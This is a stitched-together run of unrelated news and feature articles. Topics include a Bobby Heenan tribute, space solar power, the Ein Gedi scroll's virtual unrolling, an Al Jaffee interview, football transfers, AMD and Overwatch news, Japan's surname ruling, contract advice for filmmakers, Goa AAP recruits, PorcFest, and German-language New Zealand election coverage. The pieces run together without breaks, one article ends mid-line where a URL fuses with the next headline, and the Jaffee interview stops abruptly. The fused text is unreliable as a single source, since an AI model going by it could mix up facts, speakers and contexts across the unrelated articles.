"We would go to the matches periodically," Letterman said. "They always had a big Thanksgiving card.... Even then I thought it was a real touch of genius (for) Bobby Heenan to be introduced as being from Beverly Hills. You couldn't have said anything more irritating to these people."
The "Pretty Boy" character betrayed Dick the Bruiser at the first-ever sporting event at Market Square Arena in 1974, and Heenan moved on to the Minnesota-based American Wrestling Association.
Heenan's World Wrestling Federation tenure lasted from 1984 to 1994, during which he transitioned from manager to TV commentator.
An announcing stint for World Championship Wrestling lasted from 1994 to Heenan's retirement in 2000. The WWE inducted Heenan into its Hall of Fame in 2004.
Hulk Hogan wrote the foreword to Heenan's "Bad Boy Tells All" memoir.
“Bobby was a legendary wrestler, legendary," Hogan wrote. "He will go down in the books as someone who mastered the craft.”
Heenan returned with a 2004 book titled "Chair Shots and Other Obstacles: Winning Life's Wrestling Matches."
Ric Flair referred to Heenan as "the best manager of all time" when writing that book's foreword.
“He was a phenomenal performer and he was unselfish," Flair wrote. "He got beat up every night, got up and did it again the next night.”
Heenan is survived by his wife, Cynthia Jean, and daughter Jessica.
Call IndyStar reporter David Lindquist at (317) 444-6404. Follow him on Twitter: @317Lindquist.
Read or Share this story: http://indy.st/2y7RLHKBeaming with Pride: Sending Solar Power Down from Space
There’s a nearly endless source of energy out there in the center of our solar system, and the collection methods we have here on the surface of the Earth only grab a very small fraction of it. If we could harvest solar energy directly from space, the useable amount would increase dramatically. The US Navy Research Laboratory is testing out two modules that would float in space to collect solar power and beam it to Earth. Arrays of the modules could produce enough energy to power entire cities.
The team, headed by Dr. Paul Jaffe, is working on two designs. One uses a “sandwich” model: the electrical components are all packed between two square panels. The top of the module is a solar collector and the bottom is an antenna that beams the power down to a receiver on the ground. The other design uses a “step” model which is more or less an opened-up version of the sandwich model. The open design is far more efficient; the larger surface area allows it to capture more solar power without overheating.
Although the idea of sending a solar power collector into space isn’t new, the scope of this proposed project is impressive. Dr. Jaffe expects the finished modules to span a full kilometer, which would necessitate their being built in space by robots. Small scale models of the modules have been tested in space-like conditions and have been found to be more than four times as efficient as previous concepts. While many people have expressed concern over the safety of beaming solar power down from space, Jaffe explains that there wouldn’t be a high-powered death laser aimed at Earth; the power would likely be transmitted using safer microwaves, and they would only hit specific receivers set up to receive the space power.More than four decades ago, an archaeologist discovered a scroll in the ruins of an ancient settlement built near the Dead Sea. Found inside a holy ark, the fragile document was so badly burned that the scientist decided not to risk unrolling it, lest it crumble to pieces. Kept safe in storage ever since, the Ein Gedi scroll has held on to its secrets—until now.
This week a computer scientist announced that his team found a way to unroll the scroll virtually. Working off x-ray scans of the artifact, specialized software detected the layers of parchment and digitally unwound them, revealing for the first time Hebrew characters written on the scroll about 1,500 years ago.
“I’ve actually never seen the actual scroll,” says Brent Seales, a professor at the University of Kentucky. “For me, that’s a testament to the power of the digital age.”
His interest in damaged texts began years ago with a cache of old Roman scrolls unearthed at what had once been the resort town of Herculaneum. Buried during the infamous A.D. 79 Vesuvius eruption, the Herculaneum scrolls seemed like little more than cylinders of charcoal. To try and take a deeper look, Seales and his colleagues bombarded the relics with x-rays from a micro-CT scanner—a device similar to the computerized tomography scanners hospitals use to see inside human bodies, but much more powerful.
“It’s a bit expensive and time-consuming to do, but you’re able to see inside an object without destroying it,” says James Miles, a graduate student at the University of Southampton and director of Archaeovision, a company that scans ancient objects. “You can’t do this any other way.”
To suss out the contours of rolled papyri, Seales wrote a computer program. He likens the process to cartography: the density data from a micro-CT scan is a whole world of chaotic shapes and forms, and the turns of the papyri are like edges of continents that his algorithms can sketch. Sadly, his x-rays and algorithms proved blind to the carbon-based ink on the Roman scrolls, which was too similar to the carbonized papyri to be distinguished.
Still, word about Seales' software reached the Israel Antiquities Authority (IAA). They already had the Ein Gedi scroll scanned with a micro-CT machine but couldn’t make sense of the information. Could Seales help? A meeting was arranged in the U.S., and over lunch, he was handed a hard drive containing terabytes of raw data. Though in much better condition than the Roman scrolls, the Hebrew parchment offered its own challenges. Made of animal skin instead of plant-based papyrus, it had bubbled and blistered over the years. New programming tricks that corrected for those imperfections in the data would be needed.
“This is probably a simpler problem than the Herculaneum scrolls, which are really the worst-case scenario in the field,” says Vito Mocella of the Italian National Research Council, who heads the Italian team that ultimately found a way to read letters on the Roman scrolls using an enhanced scanning technique and a powerful particle accelerator. “But even if it’s simpler, it’s still not so easy.”
Luckily for Seales, the Hebrews added metal to their inks, which showed up clearly as bright white spots in the CT data. As his software virtually unwound a single layer from the middle of the scroll, text revealed itself: “The LORD summoned Moses and spoke to him,” it began. Israeli translators identified the words as the first verse of Leviticus, the book of laws.
“This discovery absolutely astonished us: We were certain it was just a shot in the dark but decided to try and scan the burnt scroll anyway,” Pnina Shor, curator and director of IAA's Dead Sea Scrolls Projects, says in a statement. The IAA unveiled the achievement at a press briefing in Israel on July 20.
For Biblical scholars, discovering another copy of the Book of Leviticus isn’t exactly Earth-shattering. “There's little of surprise in finding a Leviticus scroll,” says James Aitken, a lecturer in Hebrew at the University of Cambridge. “We probably have many more copies of it than any other book, as its Hebrew style is so simple and repetitive that it was used for children's writing exercises.”
What makes the sixth-century text remarkable, says Aitken, is its age. Until 1947, the oldest known Biblical texts dated to the tenth century. Then Bedouin goat herders exploring the Qumran caves discovered the iconic Dead Sea scrolls, which date from between the third century B.C. and the first century A.D. The Ein Gedi scroll is one of only three deciphered documents dated to the long gap between, says Aitken—the other two being a fragment of Genesis thought to be from the sixth century and an Exodus scroll from the seventh or eighth century.
As Seales works to finish decoding the rest of the Ein Gedi scroll, he’s making plans to start on other scrolls found at the same site. And with his growing reputation for resurrecting texts from the dead, other projects have come calling—including a novel from the early 20th century that was torched in a house fire.
“When you have a new technology like this, it moves the line of what is possible,” he says. “People start to think about studying materials they had no way to study before.”In 1978, Al Jaffee got me into trouble with my fifth grade teacher, and I've been grateful ever since.
I thought his series on dealing with dog droppings in Mad Magazine and in his book Al Jaffee's Mad Inventions was so funny that I made the mistake of including "doggie doo" in many of my papers. My instructor didn't share my delight.
I'm not the only youngster who's found Jaffee's work to be the guiltiest of pleasures. Since 1941, he's been drawing or writing cartoons that have delighted children and adults who are brave enough to admit that his irreverence and skillful drawing are compulsively readable.
When thinkers like Beavis and Butt-Head and Eric Cartman have decreed that reading "sucks ass," Jaffe's text and illustrations have made literacy as delightful for me and millions of other youngsters as any other vice. If it weren't for Al Jaffee and the rest of the "Usual Gang of Idiots" at Mad, it's doubtful I would have read James Joyce or Jonathan Franzen when I became older.
At 89, Jaffee has been contributing for Mad since 1954 and has been the senior member of the Gang. In almost every issue of Mad since 1964, he's created the Fold-In, which appears inside the back cover. It's a visual riddle in which the picture changes as the reader folds it in. For example, a recent Fold-In asked readers to identify an institution that was "too big to fail." The answer was not an investment bank but Kim Kardashian's butt.
He's also provided a long series called Snappy Answers to Stupid Questions, where he suggests snide responses that are guaranteed to entertain the people uttering them, if they survive the fury of the questioners.
Jaffee's unique legacy didn't emerge from nowhere. In Mary-Lou Weisman's new biography, Al Jaffee's Mad Life, he recounts his turbulent upbringing in Savannah, Ga., Zarasai, Lithuania and finally the Big Apple, where I contacted him by phone.
Jaffee's mother, Mildred Gordon Jaffee, took him and his brothers away from their home, against his father's wishes, to live in the Jewish section of Zarasai. She felt out of place in the secular, Gentile world of Savannah. In frank and vivid detail, Mad Life recounts how Jaffee and his brothers dealt with the backward conditions of the town and the anti-Semitism they encountered.
Twice, his mother brought them to Lithuania, and twice his father, Morris Jaffee, sacrificed everything to bring them back. Jaffee's mother stayed put, but in the wake of World War II, she was most likely murdered by Nazis or Lithuanian partisans who were eager to collaborate with them.
Despite a long series of misfortunes, Jaffee comes across as a contented man who has made people of all ages happy by poking fun at the absurdities of the adult world.
My fondness for your work got me in trouble when I was in the fifth grade.
So you did Snappy Answers, right?
Actually, it was Al Jaffee's Mad Inventions, believe it or not.
Oh, really?
I just thought your doggie doo solutions were really funny.
That's one of my favorites, too. Frequently when I'm interviewed, people ask me, "do you ever do things that are in bad taste and get reprimanded for it?" and I said the only one I can think of really is the solutions to the big city doggie doo problem.
I even masked that by telling them that what they're looking at is actually something else. Anyway, I got away with it. Actually, I opened up with a disclaimer. I said when you see advertisements on TV for false teeth; they never show the false teeth. They showed two plastic disks. So I said in this case, whenever you see what you think might be "offending matter," actually, they're sausages.
Another thing I remember about the book is that it featured make believe inventions that years later I swear I saw in the real world.
Yes. That has happened a number of times. For me, to invent things is easy. I focus on things that annoy me, and then I say something like why don't they do this? I don't have to |
. Starting a few years ago, Sanderson also released video lectures from his writing class at Brigham Young University, which he credits as one of the “big hallmarks” of his web presence. But as his lectures have changed and evolved over time, Sanderson has decided to rerecord his Writing Science Fiction and Fantasy class and release the 2016 Sanderson Lectures online, starting this week.
As he explains in the first lecture below, Sanderson himself took a version of this class at BYU around 1999-2000, taught by Dave Wolverton (a.k.a. David Farland). While it wasn’t his first writing class, it was the first that was truly effective, as he found that the most helpful writing advice came from people working in the business.
“There is no one way to write a story” is Sanderson’s first piece of advice, as he lays out two distinctive styles, each favored by different authors: outline versus discovery; that is, architecting your story versus flying by the seat of your pants. But while some writers will swear by one method and deride the other, Sanderson suggests a hybrid: For instance, he tends to use the discovery method with his characters, learning about them as he lets them tell their own story; then outline the plot once he knows who the characters are, so that the story doesn’t meander.
“There are as many different ways to do this as there are writers,” Sanderson says in the introduction below. The rest of the “curriculum” will include two lectures each on plotting, characters, setting, and business, and then “some wild cards.” And now, class is in session:
Sanderson will release a new video at an expected pace of once a week, with the hope that these will replace the previous series as the “canonical” version of his online writing lectures. You can find the latest link (as well as the aforementioned other writing advice) on his website.
Camera work and editing by Earl Cahill/Camera PandaFulham are set to sign their second new player of the summer, according to reports.
Belgian international left-back Denis Odoi, who can play either foot, is apparently undergoing a medical that sees him switch top-flight side Lokeren for life in England's second tier.
The 28-year-old is rated on the continent, and previously played for champions Anderlecht before transferring to Lokeren in 2013.
Reports rate Odoi's athleticism as well as jumping ability at set pieces, and wonder why he has missed out on a top move in the past.
Another tweet from a Lokeren fan repeats the idea, but also adds the son of a Ghanaian dad and Belgian mum was also inclined to be 'laconic' in previous games.
Whites wrapped up the signing of forward Floyd Ayite from French Ligue I Bastia last week, and tied Michael Madl to a permanent contract after the Austrian centre-back's impressive showing on loan last season.The MLS Waiver Draft tends to be fairly tame. Last season’s edition saw just one player picked, as a majority of teams usually opt to supplement their rosters through other mechanisms.
However, there are always diamonds in the rough for a team willing to take a chance. Last season, the Colorado Rapids added Michael Azira, adding a midfield option that proved vital to the team’s run to the playoffs. This year’s crop of eligible players certainly features some interesting names as well, ones that, like Azira, can impact a club both in the short and long term.
MLS released its list of eligible players on Wednesday, revealing 44 players that could move to new homes. The list consists of players that are out of contract but are not eligible for the upcoming Re-Entry Draft or Free Agency. It’s not the most lucrative list of game-changers, but there are several players that could certainly prove beneficial to a team if given a fresh start.
With that in mind, here’s a look at some of the more intriguing names available:
DARWIN JONES
The 24-year-old forward has yet to truly break out on the MLS level, but Jones remains an interesting forward prospect. After making nine appearances in 2016, Jones was limited to just two MLS matches in 2017, his sophomore campaign. The former University of Washington forward was highly regarded coming out of college and could prove to be a player that benefits greatly from moving out from under the shadow of a talented Sounders forward group.
BOYD OKWUONU
The former U.S. Under-23 Men’s National Team defender was stuck behind Tony Beltran with RSL, limiting him to just five career MLS appearances. Still, with extensive youth national team experience, Okwuonu is an interesting prospect at fullback, a position of weakness for several MLS teams. Given his cap-friendly contract, Okwuono is a legitimate option for teams looking to mold a young, but talented, defender.
CONNOR HALLISEY
Despite being locked behind a number of talented options, Hallisey made semi-frequent appearances throughout his two-year stint with Sporting KC. The 23-year-old started 12 games and came off the bench in five more throughout 2016, proving himself as a valuable depth option for a playoff team. Hallisey isn’t the most physically-gifted, but he is a winger that is ready to grind and create for bigger stars.
LUCAS ONTIVERO
His status as a young Designated Player will scare a majority of teams off, but some may be enticed to take a look at the Argentinian midfielder. In 21 appearances in 2016, Ontivero never truly lit the world on fire, but he was solid enough for the Montreal Impact. His loan status makes things iffy, but some team may be interested in taking a flyer on what could be a solid addition to the midfield.
ALBERTO QUINTERO
Like Ontivero, Quintero’s loan status makes things interesting, but the Panamanian could prove a shrewd pickup if a team can keep him in the league. Quintero made 30 appearances for the Earthquakes this past season, proving to be a dangerous option from the right wing with three goals and four assists. At 28 years old, he’s in his prime, and could be a worthwhile addition if transfer details can be worked out.
NUNO COELHO
A longtime veteran of the Portuguese leagues, Coelho proved a valuable piece for Sporting KC in 2016. With 22 appearances and a goal to his name, the defender could certainly provide a steady, veteran presence to most MLS backlines. However, his salary of $275,000 is a bit scary, and teams could certainly find younger, cheaper options out there.
JULIO BAPTISTA
At just $90,000 a year, the Beast is certainly a solid super-sub at this point in his career. The former Real Madrid forward is certainly past his prime, but his time with Orlando City showed his strength and brute power could be a welcome wrinkle in MLS and CONCACAF play.With the recent launch of AMD’s Radeon 400 series parts and consequent focus on hardware, it’s been some time now since we’ve heard from AMD about their Gaming Evolved application. As it turns out, there’s a reason for this. Thanks to some digging by the crew over at WCCFtech, it turns out that AMD discontinued the application last month and will no longer be distributing or supporting it.
The Gaming Evolved App was back in 2013 as part of the Radeon 200 series launch. The utility launched as a settings optimization service, which in a departure from other efforts, relied on crowdsourced data to generate settings recommendations rather than AMD running centralized testing. Though never explicitly called so by AMD, the client was clearly their answer to NVIDIA’s GeForce Experience, offering an AMD take on settings optimizations, video recording, and the like. Though branded as an AMD application, the utility was in practice a second-party initiative of sorts, and at its core it was a customized version of the Raptr’s eponymous gaming utility. The most recent major update to the Gaming Evolved App was in March of this year, when AMD & Raptr added additional video recording and editing functionality.
But after 3 years, it would seem that AMD has decided to discontinue the client for reasons unknown. After noticing that the client was no longer being bundled with the latest drivers, WCCFtech reached out to AMD, who provided the following statement.
Starting September 12th 2016, AMD is no longer bundling the “AMD Gaming Evolved App” by Raptr with builds of Radeon Software. The application will still work. AMD will cease to undertake any compatibility testing, install support or general technical support for this application, nor will it be available through Radeon Software or its installer. Previous builds of Radeon Software that include the “AMD Gaming Evolved App” dated before September 12th 2016 will remain intact and will not be affected.
At this point AMD is not bundling a similar application with their drivers, nor do their drivers contain equivalent settings/recording functionality. So at least for the time being it’s fair to say that AMD no longer has a counterpart to GeForce Experience. That said, the Gaming Evolved App wasn’t a 1st party effort and its continued existence was never assured, but it is admittedly rare to see a software feature/package dropped in this manner.In a new comment on the Overwatch subreddit, game director Jeff Kaplan states that Blizzard will nerf Torbjörn’s turret damage for the PS4 and Xbox One come next month.
Ever since the release of Overwatch last month, millions of players have had plenty of time to get up to speed with Blizzard’s newest first-person shooter. While Blizzard has done a fantastic job in crafting the current 21 character roster, some balance issues regarding specific heroes have come up, most notably McCree and Widowmaker. Given the depth of the available characters as well as the skill disparity between console and PC players, some balancing problems were always going to come up in Overwatch, and it appears that Blizzard has decided which hero will be the next receive a nerf.
Over in the Overwatch subreddit, there have been a number of discussion threads that single out Torbjörn and his turrets as being overpowered on the PlayStation 4 and Xbox One, and that this has caused some issues regarding how matches play out. In response to a recent Torbjörn thread, Overwatch game director Jeff Kaplan stated that Blizzard is planning to reduce the character’s turret damage by 30% on consoles come mid-to-late July. As for PC players, the character and his turrets will remain untouched.
“In an upcoming patch, we will reduce the damage done by Torbjörn’s turret by 30% on Xbox One and PS4. PC will remain unchanged. ETA – Mid to late July depending on 1st party certification times.”
For most players who play Overwatch on consoles, this announcement that Blizzard will be nerfing Torbjörn’s turrets isn’t too surprising. Just a couple of weeks ago, the fan site Master Overwatch compiled the win-loss data for all of the game’s 21 heroes, and it was found that Torbjörn and his turrets have an average win rate of 61.6%, which puts him at number two on the best performing heroes list.
While players face the same problem with Torbjörn on any platform, the overpowered nature of the character’s turrets are much more pronounced on consoles. One of the few ways to counter Torbjörn’s turrets is to snipe them using Widowmaker or Hanzo, but given the disparity between console and PC controls, players are less inclined to choose Widowmaker or Hanzo on consoles, thus giving Torbjörn a bigger edge. The prospect of facing a team of Torbjörns on consoles isn’t a particularly inviting one, and it has undoubtedly caused a number of players to rage quit.
Addressing the issue with Torbjörn in such a timely manner is yet another demonstration of Blizzard’s renowned ongoing post-launch support, and it couldn’t come at a more timely manner as Overwatch‘s competitive play mode is due to launch very soon. Hopefully this Torbjörn nerf will help restore some parity in Overwatch‘s console matches, and perhaps it’ll deter players from rage quitting too often during the game’s upcoming ranked play mode.
Overwatch is now available for PlayStation 4, Xbox One, and PC.
Source: Jeff Kaplan – RedditWhat's in a name? In Japan, quite a lot.
Japan's Supreme Court said Wednesday that married couples must continue to use only one surname, rejecting a lawsuit filed by five plaintiffs who wanted to make it easier for women to keep their maiden names.
The 19th century law affirmed by the court doesn't specify which spouse should change their surname, but an overwhelming majority of women take their husband's.
In a separate ruling released Wednesday, the court said a law requiring divorced women to wait six months before remarrying was unconstitutional, and recommended shortening the ban to 100 days.
Many women, gender equality experts, and even a UN committee have said these laws are discriminatory and outdated.
"At the moment when I heard the ruling, tears swelled up in my eyes," said Kyoko Tsukamoto, one of the plaintiffs who wanted to keep her maiden name. "I am so sad. I feel pain. My name... is my identity."
The role of women in Japanese society is moving up the political and economic agenda. Unless the country finds ways of attracting more women into the workforce, it will struggle to emerge from economic stagnation. Government efforts to do so thus far have largely failed, due to deeply rooted cultural issues.
Experts say allowing women to keep their names would have helped set Japan on the right path for further change.
A favorable ruling would have helped "working women, and recognition of their position in society -- it is a very important step forward," Machiko Osawa, director of the Research Institute for Women and Careers at Japan Women's University, said before the decision. "You should have the right to choose the name you want."
Related: Japan slashes target for women in senior positions
Japan is the only major developed country that prevents couples with different surnames from registering their marriage.
For Japan's working women, "it is really cumbersome that you already have established your own position in a corporation -- then suddenly because you get married, you have to change your name," Osawa said.
There is plenty of room for improvement: roughly 65% of Japan's women are working, which is one of the lowest rates among developed nations.
Closing Japan's gender employment gap would add an estimated 7.1 million employees to the workforce and lift gross domestic product by as much as 13%, according to Kathy Matsui of Goldman Sachs.
Experts say the problem has been exacerbated by a lack of childcare, and the failure of companies to hire, train and promote women into senior management.
Related: Japan's program to boost senior women in work is a dud
Even with monetary incentives, companies are reluctant to support women. One government program that offered a subsidy to companies for promoting women into senior positions had zero applications as of September. At least one firm has applied since then, but that's a far cry from the 400 that were expected to apply.
The government also recently lowered its target for getting women into senior government positions to 7% from 30%.
Right now, only about 3.5% of senior government jobs are held by women. It may not sound like much, but it's already taken over 10 years to get here. In 2003, when Japan first announced these goals, 1.6% of those posts were filled by women, according to the government.
But things may take a turn in April when new legislation takes effect. It mandates large companies, as well as the government, to set and disclose numerical targets for hiring and promoting women.Thoughts on Contracting from a Lawyer Turned Filmmaker
Legal Issues Every Web Series Creator Should Consider
Jack Michael Tracy II Blocked Unblock Follow Following Mar 22, 2017
Photo by Jonathan Mueller
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“Oh good, you’re a lawyer, can you look at this contract for me?” you ask, when I tell you that aside from being an independent filmmaker, I’m also a practicing attorney. While I do have enough experience to sort my way through a densely worded agreement, I need to tell you that I am not an entertainment attorney. The practice of law is often highly specialized, and for some of us, the last time we even thought about licensing, intellectual property, or employment law was back in law school, which for me was exactly none of your business years ago.
But, while I am not qualified to give you the latest breaking precedent on iron clad employment contracts, licensing agreements, or music royalties, what I can give you is a little confidence when you are handed a big intimidating agreement from a distributor or festival, and hopefully some insight into how a lawyer “thinks” when figuring out how to write contracts of his or her own.
If it’s not in writing you have nothing. Get everything you care about in writing. Get everything you care about IN WRITING. A contract can be created by the simplest email exchange — forms are just forms. And even an email saying “hey, this is quick summary of what we agreed to on the phone, if you have any corrections, please let me know by the end of the week via email” can be useful later.
But when you can, make sure that every agreement you put in writing contains an offer by one person to do something, the acceptance of the other, and something at stake — what we call, “consideration.” Money is typically what we’re talking about, but exchange of services can work too. Get those elements in writing around everything you think could be a problem later — or you don’t think, but might be, and you just don’t want to deal with it. “In exchange for your offer to volunteer services to the project, which I hereby accept, I have agreed to provide you high quality copies of your footage for your personal use.” Could this be challenged for fairness or other lawyer-y stuff later? Sure. But at least you have an offer, an acceptance, and some sort of value (the reel material). Having that in writing might just stop an argument from starting.
What do you want? Most of the time, a legal background in filmmaking comes in handy when it’s time to actually craft or review an actual, fully drafted, multi-part, and confusing contract. Regardless of practice area, with a little bit of research, any lawyer worth his or her salt can draft an agreement that should do a fairly good job at stating the guidelines of whatever relationship is being documented — with an actor, a crew member, a distributor, a festival, etc. Will it have the most up to date language reflective of the most recent case law decisions that impact your particular agreement? No. If you have the money to get someone who can do that, great.
I’m just going to assume you don’t, so here’s how I look at them:
- A contract is simply an agreement between parties to set the rules over whatever deal they are setting. So, make sure that when reading the language of the contract, the things you want, you get. I mean, that sounds simple, right? It can get a bit abstract. For instance, a distributor wants your film. How long do they get it for? Starting from what date? Do you want the ability to terminate? How? What do you have to do? Do you want to keep all ownership rights? Do you want to make sure you can contract with another distributor for another market or different medium? Questions are your friends here. Make sure your agreements contain the answers, clearly.
- You have the power to amend. Again, this is an agreement between two people with assumed equal bargaining power (even if you feel like you don’t have it because of their suits and haircuts). You want something, they want something. If your counterparty has a huge team of lawyers and you get a big fancy form with dense language, well you just go right through the thing with a red pen and edit it to reflect the agreement YOU want. Don’t be married to a form. Don’t be scared by a form. Don’t back off immediately when they say “this is our form.” You say “well that’s not the agreement I had in mind.” Push, lawyer or not. You can always tuck your tail behind your legs and take the original deal, if they are still offering it. It’s cool. But don’t be afraid to “control the pen.”
- With the power to amend comes the power of a rider. A “rider” is an insert — meaning something you put in that the author didn’t originally draft. If the agreement they gave you doesn’t cover something you need covered…add it. And make sure you haven’t signed anything until everyone is happy with the final result. This is 50% your agreement. Two no-nos: Don’t AGREE to what they gave you and then offer ADDITIONAL terms. You want your acceptance to be contingent on your edits. Also, don’t rely on “but he said this in an email” or “we talked about this on the phone” or “oh but she said it was cool.” No. Get it in the document. Every properly drawn contract will have a little paragraph typically called “entire agreement” that says, basically, if it ain’t in the contract, we didn’t agree to it.
- Use models. There are very few contracts that start as a blank page. Even the fancy form you got from your counterparty’s lawyers is a hodgepodge of 100 different agreements before it, borrowing the stuff applicable from other agreements. So, say you want an image release form for an actor to sign. Find one on the internet. No, find five, take the pieces you like from each, and make a Frankenstein agreement that works for you. We’re not plagiarizing term papers here.
- Be as specific with your language as possible, to the point where you just want to end it all. Why are professionally drafted agreements so long and densely worded? Because god forbid a judge has to hear a dispute between counterparties some day, the first thing the judge is going to do is look at the language to see if the language spells out what to do. If it doesn’t, and the contract is deemed ambiguous, then you have to have a whole evidentiary process about “well what did we mean when we used the word ‘the’” and that is expensive and time consuming and just soul sucking. So if something is really important to you, don’t be afraid to use painstaking language to SPELL IT OUT. We ain’t writing prose here. In particular, caveats are your friends: “provided however, that for further clarification, under no circumstance ___”; “provided that the parties have agreed to waive this section with respect to ____”; “as an illustration of the effect of this section, ___”.
- Capital letters have meaning. Why does an agreement keep saying “the Party” instead of “the party”? Because in this case Party is a defined term. It’s defined above, so we don’t have to keep saying “Lord Voldemort at 1 Snakeface Hollow, London” over and over again. (Nerds, do not come at me, I didn’t have time to look up where he was living.) Why is this important? Because very important terms can be defined. Your “Rights”, your “Interests”, the “Licensed Product”, your or their “Services.” So all defined terms need extra extra special attention to be as narrow or as broad as you need them to be.
I really could go on forever. But, generally, when faced with reading or drafting a big ugly legal document without the aid of an appropriately specialized lawyer, think:
- Does it spell out the things important to me so clearly anyone can understand what we mean?
- Is it asking me to do anything I don’t want to do?
- Is it defining me, my project, my or their services in the way that I understand those words to mean?
Contracts are really just your insurance for later when someone “forgets” what the deal was. So at the end of the day, make sure it can clearly jog the memory when needed most.PANAJI: Even as the Aam Admi Party’s Arvind Kejriwal was sworn in as Delhi’s youngest chief minister, singer-musician Remo Fernandes and social activist Oscar Rebello joined AAP as party workers. Both have stated that they will however not contest elections In a 12.30pm post on Facebook, Remo said, “Yesterday was a historic day for me: for the very first time in my life, I joined a political party. Because, for the first time in my life, I believe in a political party.”Rebello, a Panaji-based general physician, when contacted, told STOI, “I have just joined (AAP) as a party worker, as I believe in its policies and I will help in every way possible to further the party’s objectives.”Asked if he would contest elections in the future, the former vociferous member of Goa Bachao Abhiyan (GBC) said, “In no way am I considering contesting elections.”Remo, who teamed up his announcement with a picture of him wearing AAP’s trademark Gandhi topi and holding the party symbol of a broom, stated: “Before those of you who are politically ignorant [like me!] think this means I’ve ‘joined politics and am standing for elections’, let me clarify this only means that, like lakhs of people have done in Delhi, I have become a party worker/member by paying a 10 fee and acquiring a receipt. And that signifies that I agree with the party’s policies and ideologies, and that I’m ready to work to implement them to the best of my ability.”He encouraged his fans to join AAP. “I’ve had enough of voting for different parties and different leaders and expecting change, but being short-changed each time. Like the saying goes, if I want change, I have to BE the change. If you want to BE the change too [instead of sitting back and saying “Now let’s see what the AAP does!”], contact Valmiki Naik,” his post read.The congratulatory messages that followed included Kahlil Abreu’s, “Really really cool... reading your post makes me wanna join too”; while Anand Kekre wrote, “Dear Remo Fernandes, I salute your move. AAP needs honest and active people like you to expand. They bring something extra to the table that is so open to all and liberating. They have changed Indian politics forever.”Every summer since 2004, hundreds of people belonging to and interested in the Free State Project, an effort to move 20,000 libertarians to New Hampshire, gather at a remote campground in the northern part of the state for a weeklong event called the Porcupine Freedom Festival. The outdoorsy extravaganza, more commonly known as PorcFest, is one of the biggest libertarian gatherings in the entire country.
The libertarian stereotype of the nerdy, balding, middle-aged white guy goes out the window at PorcFest. The attendees are so diverse, one wonders how organizers managed to get everybody together in the same place without burning the forest down in a fit of rage. If you want to see what happens when you bring together libertarian politicos, voluntaryists, and off-the-grid family farmers that love raw milk for a week to celebrate one of the more quixotic elements of the libertarian movement, then you have to go to PorcFest.
For Carla Gericke, the president of the Free State Project, this is her busiest week of the year. She is constantly checking on events, meeting with people, moderating panels, and judging contests. She views PorcFest as one of the best ways to convince people to become Free Staters and make the move to the Granite Stat. Recently her group has tried to attract more families, not just individuals.
"I definitely think we had over a thousand people. We sold 650+ presale tickets and allowed walk-ins. We don't count children, but there were a lot of them. Definitely moved more to a family friendly vibe, which was our goal,” Gericke says in an online interview after the event. Gericke was so busy during PorcFest that not only did she not have time to stop for an interview, she lost her voice on the final day.
In years past there have been squabbles, but this year the event was “drama free,” according to Gericke.
"People tend to sort themselves according to their noise level tolerance. The families tend towards the quieter zones at the back, and others gravitate to the late night noise area. We did try this year to keep late night noise tolerable, with loud music ending at midnight,” she says.
The divide was certainly visible to anyone that took a stroll through the camp on the final full day of activities. Large families gathered in the back of the campground away from the action while younger people stayed closer to the fire and the merchants row, known as Agora Valley, where agorists hawked their wares to festivalgoers. In Agora Valley you could buy a wide variety of food, books, clothing, soaps, tapestries, and (of course) gold and silver. Farmers offered samplings of the fruits of their labor while promoting deals to Free Staters on baskets of fresh produce and meats delivered from their farm straight to their door. Some agorists, like George Mandrick, took a more direct route and set up shop in the main hall, the Shire Society Pavilion.
Mandrick is a full-time personal chef and home cleaner who does some catering on the side. Like many of the people here, he is committed to the ideas of agorism, a philosophy created by anarchist Sam Konkin in the 1970s. This is Mandrick’s second year of catering PorcFest and, though he sees the philosophical divides at PorcFest, he doesn’t see himself in any camp.
“I am not politically active at all, I have no interest in politics. I am not even an activist, I am really just a businessman. I want to live my life as free as possible and it’s much easier for me to do that here because there are people that I can connect with. They also just want to have cash transactions with me,” he says.
This is the first time Mandrick has had a 15 minute break all night, but soon festivalgoers start queuing for his burgers. Again. He tightens up his apron and begins to look back at his stand as if encouraging me to wrap up the interview.
“For me, it’s about interactions and business dealings between individuals,” he says as he heads back to his grill.
In a large tent next to the pavilion, New Hampshire Republican state representative Mark Warden holds court behind a makeshift bar. Warden left Nevada, another state with strong libertarian leanings, in 2007 when the market took a turn for the worse. Warden says one of the reasons he moved to New Hampshire and joining the FSP was the natural beauty of the state. PorcFest, he thinks, is one of the ways to show that off because it is a large outdoor festival unlike other libertarian gatherings that tend to be held at large resort hotels (think Freedom Fest in Las Vegas).
“When you’re in Las Vegas at FreedomFest there are two parts: the liberty portion and investments. So you have a lot of people from Wall Street. Here we have more Main Street, more Austrian economics, people that are self-reliant, people that invest in metals, in real estate,” he says, adding that the crowd tends to be younger at PorcFest.
At PorcFest, you won’t see much white hair.
“It’s very diverse. You see some dreadlocks here, you see some Occupiers here, you see some Tea Partiers here, you see some straight laced non-drinking Christian businessmen here, you see it all,” he says.
Warden attributes the congenial nature of the event to the natural libertarian aversion to force.
“Libertarians tend to be pretty tolerant. Most people here think their way is the best or the right way but they won’t force other people to do it their way. They want the competition for ideas to flourish and for the best way to run things to be settled on the battlefield of ideas,” he says, as someone offered us cigars."For all of these reasons I told my cabinet and caucus members of my decision to step down as leader of the National Party and as Prime Minister."
Dezember 2016. Der Wahlkampf um das Amt des neuen neuseeländischen Premierministers begann mit dem Rücktritt des alten. Acht Jahre lang war John Key von der konservativen Nationalpartei Regierungschef - er drückte Steuer- und Sozialreformen durch, Löhne stiegen, die Arbeitslosenzahlen fielen. Key war haushoher Favorit für einen vierten Wahlsieg, trotzdem schickte sich der frühere Investment-Banker mit 53 Jahren völlig überraschend selbst in den politischen Ruhestand.
Ein Neuseeland "in bester Ordnung"
"Es ist besser aufzuhören, solange dich jeder bittet weiterzumachen", meinte Key. "Die Wähler verdienen einen Wechsel. Ich mag das US-System. Dort kann ein Staatschef acht Jahre im Amt sein und dann ist jemand anderer dran."
Die Wirtschaft schreibt tiefschwarze Zahlen, der Tourismus boomt: John Key hinterließ seinem Nachfolger Bill English ein Neuseeland in bester Ordnung. Bei fast 45 Prozent Wählerzuspruch in Umfragen schien die Wiederwahl der Konservativen nur eine Formsache; Labour, die zweitstärkste Partei im Land, dümpelte bei nicht einmal 20 Prozent - bis die Sozialdemokraten nur zwei Monate vor der Wahl ihren Parteichef feuerten und sich eine radikale Verjüngungskur verpassten.
"I was nominated as leader of the Labour Party, my nomination was unanimously accepted. This team is about to run the campaign of our lives."
